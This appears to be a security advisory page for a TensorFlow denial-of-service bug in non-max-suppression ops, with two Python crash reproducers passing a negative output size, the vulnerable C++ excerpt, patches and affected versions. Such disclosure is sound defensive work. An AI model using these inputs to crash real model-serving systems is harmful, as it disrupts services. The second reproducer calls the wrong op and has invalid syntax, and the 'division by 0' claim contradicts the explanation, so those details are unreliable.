Medium

Crash in NMS ops caused by integer conversion to unsigned

  • Disclosed: 12.08.2021
  • Updated: 11.10.2026 13:19

Impact

An attacker can cause denial of service in applications serving models using tf.raw_ops.NonMaxSuppressionV5 by triggering a division by 0:

python
import tensorflow as tf

tf.raw_ops.NonMaxSuppressionV5(
  boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],
  scores=[1.0,2.0,3.0],
  max_output_size=-1,
  iou_threshold=0.5,
  score_threshold=0.5,
  soft_nms_sigma=1.0,
  pad_to_max_output_size=True)

The implementation uses a user controlled argument to resize a std::vector:

cc
  const int output_size = max_output_size.scalar<int>()();
  // ...
  std::vector<int> selected;
  // ...
  if (pad_to_max_output_size) {
    selected.resize(output_size, 0);
    // ...
  }

However, as std::vector::resize takes the size argument as a size_t and output_size is an int, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash.

A similar issue occurs in CombinedNonMaxSuppression:

python
import tensorflow as tf

tf.raw_ops.NonMaxSuppressionV5(
  boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]],
  scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]],
  max_output_size_per_class=-1,
  max_total_size=10,
  iou_threshold=score_threshold=0.5,
  pad_per_class=True,
  clip_boxes=True)

Patches

We have patched the issue in GitHub commit 3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d and commit b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) tensorflow < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
Python (PyPI) tensorflow-cpu < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
Python (PyPI) tensorflow-gpu < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1

References

CVSS score 5.5/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-681
Platform
Python (PyPI)
Package
tensorflow, tensorflow-cpu, tensorflow-gpu
Disclosed
12.08.2021
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2021-291 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-582 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-780 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-vmjw-c2vp-p33c - CC BY 4.0

Vulnerability history: tensorflow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (433) in the archive
Total entries
433
First → latest
04.2019 07.2024
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 6
  • High 112
  • Medium 210
  • Low 105

Disclosures per year

  1. 2019: 7
  2. 2020: 35
  3. 2021: 200
  4. 2022: 169
  5. 2023: 21
  6. 2024: 1
  7. 2025: 0
  8. 2026: 0
Severity:
  1. Crash in NMS ops caused by integer conversion to unsigned this entry
    Medium · 5.5 CVE-2021-37669 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  2. High · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  3. High · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  4. High · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  5. High · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  6. High · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  7. High · 7.5 CVE-2023-25664 < 2.11.1 2.11.1
  8. High · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  9. High · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  10. High · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  11. High · 7.5 CVE-2023-25671 < 2.11.1 2.11.1
  12. High · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  13. High · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  14. High · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  15. High · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  16. High · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  17. High · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  18. High · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  19. High · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
  20. High · 7.1 CVE-2022-41902 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  21. High · 7.1 CVE-2022-41900 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  22. High · 7.1 CVE-2022-41894 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  23. High · 7.0 CVE-2022-35939 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  24. High · 7.0 CVE-2022-35937 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  25. High · 7.8 CVE-2022-29216 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  26. High · 7.1 CVE-2022-29208 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  27. Critical · 9.3 ghsa-h6gw-r52c-724r < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  28. High · 7.0 ghsa-43q8-3fv7-pr5x < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  29. High · 8.8 CVE-2022-23594 >= 2.7.0, < 2.7.1 2.7.1
  30. High · 8.8 CVE-2022-23560 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  31. High · 7.1 CVE-2022-23563 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  32. High · 8.1 CVE-2022-23592 >= 2.8.0-rc0, < 2.8.0 2.8.0
  33. High · 7.5 CVE-2022-23591 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  34. High · 8.8 CVE-2022-23574 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  35. High · 7.6 CVE-2022-23573 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  36. High · 7.6 CVE-2022-23562 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  37. High · 8.8 CVE-2022-23561 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  38. High · 8.8 CVE-2022-23559 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  39. High · 8.8 CVE-2022-23566 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
Show more (20) Showing 41 of 119

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.